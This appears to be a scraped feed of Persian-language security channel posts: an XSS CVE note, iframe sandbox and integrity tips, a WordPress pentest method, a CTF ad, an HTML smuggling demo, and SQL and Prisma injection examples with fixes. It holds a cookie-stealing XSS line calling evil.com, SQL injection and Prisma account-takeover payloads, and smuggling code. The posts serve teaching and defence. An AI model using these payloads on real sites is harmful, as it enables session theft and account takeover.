/dev/null

آقا عجب چیز حقی داره میشه

عالی بود آقا لذت بردم https://youtu.be/msjLfaRy1ks?si=l_G7oezLE1EXC1PC

CVE-2025-46234: آسیب پذیری Reflected XSS در افزونه وردپرس Razib Control Listings. مهاجم با لینک مخرب ، مثل example.com/listings?query=<script>alert('Hacked')</script> کد جاوااسکریپت اجرا می‌کنه و می‌تونه کوکی بدزده و ... http://example.com/listings?query=<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>

یه بحث جالب وقتی که میخوایم یه پستی که توسط کاربر ساخته شده یا خودمون از یه منبعی میخوایم پست بزاریم داخل سایت وقتی ما از یه سایت یه محتوایی رو نشون میدیم یا پست یه کاربر رو میخوایم داخل Home سایت نشون بدیم (مثلا بیایم پست کاربر هارو تویه یه iframe قرار بدیم و نشون بدیم) میشه برای جلوگیری از xss بیایم و از sandbox استفاده کنیم . اینطوری کار میکنه :

 <iframe sandbox=" allow forms  ... " src="example.com" 

حالا اگه attacker خواست یه با یه اسکریپت xss اجرا کنه جلوش گرفته میشه و نمیزاره اپلود کنه(چون allow-script نداره)( ولی این کار به تنهایی کافی نیس باید ورودی ها sanitization بشن) و نه می‌تونه به کوکی‌های تو دست بزنه، نه popup باز کنه و ... بعضی وقتا هم هس که خودمون میخوایم یه دیتا استاتیک(برای محتوای داینامیک جواب نمیده ) رو اپلود کنیم ولی مسئله ای که پیش میاد نکنه بعدا جایی که ازش دیتایی گذاشتیم تغییر کنه و الوده بشه مثلا زمانی که میخوایم یه jQuery رو که رویه cdn.com هاست شده استفاده کنیم . میتونیم با استفاده از integrity تویه <script> جلو این اتفاق رو بگیریم روش کارشم اینطوریه یه هش از دیتا میگیره و بعدا اگه دیتا تغییر کرده باشه خب هش هم عوض میشه و اگه هش الان با قبلی یکی نباشه دیگه دیتا نشون داده نمیشه مثلا:

<script src="https://cdn.com" integrity="sha256-abcd123...."></script>

به این حمله میگن supply chain attack .

یه بحث جالب وقتی که میخوایم یه پستی که توسط کاربر ساخته شده یا خودمون از یه منبعی میخوایم پست بزاریم داخل سایت وقتی ما از یه سایت یه محتوایی رو نشون میدیم یا پست یه کاربر رو میخوایم داخل Home سایت نشون بدیم (مثلا بیایم پست کاربر هارو تویه یه iframe قرار بدیم و نشون بدیم) میشه برای جلوگیری از xss بیایم و از sandbox استفاده کنیم . اینطوری کار میکنه :

 <iframe sandbox=" allow forms  ... " src="example.com" 

حالا اگه attacker خواست یه با یه اسکریپت xss اجرا کنه جلوش گرفته میشه و نمیزاره اپلود کنه(چون allow-script نداره)( ولی این کار به تنهایی کافی نیس باید ورودی ها sanitization بشن) و نه می‌تونه به کوکی‌های تو دست بزنه، نه popup باز کنه و ... بعضی وقتا هم هس که خودمون میخوایم یه دیتا استاتیک رو اپلود کنیم ولی مسعله ای که پیش میاد نکنه بعدا جایی که ازش دیتایی گذاشتیم تغییر کنه و الوده بشه مثلا زمانی که میخوایم یه jQuery رو که رویه cdn.com هاست شده استفاده کنیم. میتونیم با استفاده از integrity تویه <script> جلو این اتفاق رو بگیریم روش کارشم اینطوریه یه هش از دیتا میگیره و بعدا اگه دیتا تغییر کرده باشه خب هش هم عوض میشه و اگه هش الان با قبلی یکی نباشه دیگه دیتا نشون داده نمیشه مثلا:

<script src="https://cdn.com" integrity="sha256-abcd123...."></script>

به این حمله میگن supply chain attack .

متودولوژی تست نفوذ وردپرس = 1. با wpscan تارگت رو اسکن کنین و هر آسیب پذیری که نشون میده رو سعی کنین اکسپلویت کنین(میتونه یه misconfig یا یه CVE باشه). حتما apikey رایگانشو از سایتش بگیرین که نتیجش با اسکن خالی فرق میکنه. 2. ممکنه nuclei موردی رو پیدا کنه که wpscan قادر به شناساییش نبوده. پس حتما از Nuclei هم استفاده کنین. تا اینجا اسکن کلا با ابزار بود. ولی بررسی دستی چطور؟ بخاطر CMS بودن تارگت انجام یه سری کارا میتونه وقت تلف کردن باشه و باید سعی کنیم از وقتمون بهینه استفاده کنیم. این نکات میتونه بهتون کمک کنه : 1. اگه CVEای برای خود وردپرس یا پلاگین های معروفش پیدا نکردین سعی نکنین خودتون باگ جدید پیدا کنین. نمونش تلاش برای دسترسی به پنل ادمین. 2. اگه تارگت از یه پلاگین ناشناخته ای استفاده میکنه سعی کنین روش باگ بزنین. بهتره اون پلاگین رو روی لوکال خودتون بررسی کنین که WAF و..... مزاحمت ایجاد نکنه. 3. کارایی مثل spray and pray کردن 99 درصد مواقع بی نتیجه خواهد بود. حالا چه جاهایی رو تست کنین(اینارو بدون در نظر گرفتن ورژن وردپرس و پلاگین هاش تست کنین)؟ 1. جاهایی که تارگت با یک 3rd party در تعامله مثل درگاه پرداخت! برای مثال میتونین race condition رو تست کنین. 2. قسمت تیکت: هر آسیب پذیری که بلدید رو اینجا تست کنین مثل XSS با PDF و‌ ....... 3. rate limit bypass. 4. قسمت آپلود عکس پروفایل. 5. آسیب پذیری های low مثل BLH و browser cache weaknesses و..... 6. پیدا کردن فایل های backup: میتونین از waybackurl استفاده کنین یا خودتون مسیر /wp-content/uploads رو فاز کنین با اکستنشن هایی مثل .zip و.... 7. 403 Bypass. 8. فاز روی / : ممکنه فایلی مثل phpinfo.php باز باشه منتها با یه اسم دیگه که با فاز کردن میشه پیداش کرد. #WordPress #Methodology

آغاز ثبت‌نام مسابقه فتح پرچم مازآپا 🗓 زمان ثبت‌نام از ۲۵ فروردین ماه تا ۱۶ اردیبهشت ماه 🔥 مسابقه به صورت غیرحضوری در ۱۸ اردیبهشت ماه برگزار می‌شود. 🎁جوایز 1️⃣ تیم اول : 100 میلیون تومان‌ 2️⃣ تیم دوم : 70 میلیون تومان 3️⃣ تیم سوم: 50 میلیون تومان برای ثبت نام به https://mazapa.ir مراجعه فرمایید. منتظر حضور گرم شما در این رویداد هستیم 😎 📌 مرکز تخصصی آپا دانشگاه صنعتی اصفهان 📌 با حمایت شرکت فولاد مبارکه اصفهان #رویداد_CTF @APA_IUTCERT

کلا HTML Smuggling یه روش هس برای دور زدن فایروال و waf و IDS و ... به چند روش می‌تونن دور بزنن مثلا داده مخرب رو به صورت رمز شده تویه یه فایل HTML قرار بدن یا پیلود ها رو تقسیم کنن مثلا داده مخرب رو تویه چند قسمت از فایل قرار بدن یا استفاده از جاوااسکریپت مبهم (Obfuscation) که کد جاوااسکریپت رو طوری تغییر می‌دن که قابل خوندن نباشه (مثلاً با متغیرهای تصادفی یا فشرده‌سازی) مثلاً به جای atob() از روش‌های غیرمستقیم (مثلا یه تابع دست ساز یا متغییر تصادفی) برای رمزگشایی استفاده می‌کنن حالا مثلا اتکر میاد یه سری داده مخرب (مثلا یه اسکریپت مخرب) رو به صورت رمز شده(معمولا base64) داخل یه فایل HTML جاسازی میکنه. این فایل به ظاهر بی خطره ولی مثل کد بالا ، کاربر رویه لینک کلیک میکنه ، دیتا ها به صورت خودکار رمزگشایی و به صورت یه فایل دانلود میشن

این اسیب تکنیکی است که در آن داده‌ها یا فایل‌ها به صورت پنهانی داخل فایل‌های HTML جاسازی می‌شوند. این داده‌ها معمولاً به صورت Base64 encoded وارد می‌شوند تا از فیلترهای امنیتی عبور کنند. وقتی کاربر فایل HTML را باز می‌کند، داده‌ها به طور خودکار بارگذاری و اجرا می‌شوند. گروه‌های هکری مانند APT29 از این تکنیک برای دور زدن سیستم‌های تشخیص نفوذ و آنتی‌ویروس‌ها استفاده می‌کنند. این حملات معمولاً فایل‌های مخفی در داخل اسناد HTML دارند که در ظاهر هیچ تهدیدی به نظر نمی‌رسند، اما در پس‌زمینه عملیات مخرب انجام می‌دهند. برای جلوگیری از آن، فیلتر کردن داده‌های رمزگذاری‌شده و بررسی دقیق فایل‌ها در محیط‌های ایزوله مهم است. https://attack.mitre.org/techniques/T1027/006/ شما میتوانید با کد زیر این اسیب پذیری را تست کنید .

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>HTML Smuggling Example</title>
</head>
<body>
    <h1>HTML Smuggling </h1>
    <p>Click the button below to download the file with the hidden payload:</p>
    <button onclick="downloadPayload()">Download Payload</button>

    <script>
        // Convert Base64 payload to ArrayBuffer
        function base64ToArrayBuffer(base64) {
            const binaryString = atob(base64); // Decode the Base64 string
            const len = binaryString.length;
            const bytes = new Uint8Array(len);
            for (let i = 0; i < len; i++) {
                bytes[i] = binaryString.charCodeAt(i); // Convert each character to its ASCII value
            }
            return bytes.buffer; // Return ArrayBuffer
        }

        // Function to trigger download of payload
        function downloadPayload() {
            const base64Payload = 'aGkgR08tVE8gQ1ZFCg=='; // Base64 encoded payload (hidden content)

            if (base64Payload.trim() !== '') {
                // Convert the Base64 payload to ArrayBuffer
                const data = base64ToArrayBuffer(base64Payload);
                const blob = new Blob([data], { type: 'application/octet-stream' }); // Create a Blob object with the payload

                const fileName = 'payload.txt'; // Name of the file to be downloaded

                // Check for IE/Edge and use msSaveOrOpenBlob for compatibility
                if (window.navigator.msSaveOrOpenBlob) {
                    window.navigator.msSaveOrOpenBlob(blob, fileName);
                } else {
                    // For other browsers, create a downloadable link
                    const a = document.createElement('a');
                    a.style.display = 'none'; // Hide the link element
                    document.body.appendChild(a);
                    const url = window.URL.createObjectURL(blob); // Create an object URL for the Blob
                    a.href = url;
                    a.download = fileName; // Set the download attribute with the file name
                    a.click(); // Trigger the download
                    window.URL.revokeObjectURL(url); // Revoke the object URL to release memory
                    document.body.removeChild(a); // Remove the link element from the DOM
                }
            } else {
                console.error('No Base64 payload found!');
            }
        }
    </script>
</body>
</html>

کد، آسیب‌پذیری SQLi داره و کد مشکل‌سازش اینجاست که:

cursor.execute(
    f"INSERT INTO otp_codes (phone_number, otp) VALUES ('{phone_number}', '{otp}')"
)

که مث همیشه مشکل اینجاس ورودی کاربر (phone_number) مستقیم تویه کوئری قرار می‌گیره و حالا میشه پیلودهای مختلفی تست کرد. مثلا این:

{
  "phone_number": "' OR '1'='1"
}

کد امن یه چنین چیزی میشه مثلا:

@app.route('/send-otp', methods=['POST'])
def send_otp():
    try:
        phone_number = request.get_json().get("phone_number")
        if not phonenumbers.is_valid_number(phonenumbers.parse(f"+{phone_number}", None)):
            return jsonify({"error": "Invalid phone number"}), 400
        
        if len(phone_number) > 15:
            return jsonify({"error": "Phone number too long"}), 400

        otp = random.randint(100000, 999999)

        conn = mysql.connector.connect(**DB_CONFIG)
        with conn.cursor() as cursor:
            cursor.execute(
                "INSERT INTO otp_codes (phone_number, otp) VALUES (%s, %s)",
                (phone_number, str(otp))
            )
        conn.commit()
        conn.close()

        send_otp_code(phone_number)  # Function to send SMS
        return jsonify({"message": "OTP code has been sent successfully"}), 200

    except:
        return jsonify({"error": "Something went wrong"}), 500

که اینجا به جای f-string از placeholderهای %s توی کوئری استفاده کردم و همینطور مقادیر phone_number و otp رو جداگونه توی یه تاپل جدید می‌فرستیم. این روش باعث می‌شه ورودی کاربر به‌عنوان دیتا (نه کد SQL) پردازش بشه و جلوی SQLi رو بگیره.

منبع : X

از وقتی این گوگل مپ اومد کاسبی ما تو آدرس دادن راکد شد

جوابش: این کد ابتدا با استفاده از findUnique بررسی می‌کنه که آیا کاربری با email و resetToken مشخص‌شده وجود داره یا نه. تویه این کد مشکل اینجاس که توکن مستقیم تویه ورودی برای resetToken قرار میگیره و اصلا بررسی نمیشه که یه رشته هس یا یه object که میتونه اون object ها جزو عملگر های Prisma باشه.(Prisma یه orm هس) این کد اکسپلویتش هست :

POST /reset-password HTTP/1.1
Host: example.com
Content-Type: application/json

{
  "email": "victim@example.com",
  "token": { "not": null },
  "newPassword": "hacked"
}

که حالا میتونیم با not:null از شرط بیایم بیرون به این صورت بررسی میشه :

const user = await prisma.user.findUnique({
  where: { email: "victim@example.com", resetToken: { not: null } },
});

و یه account takeover رخ میده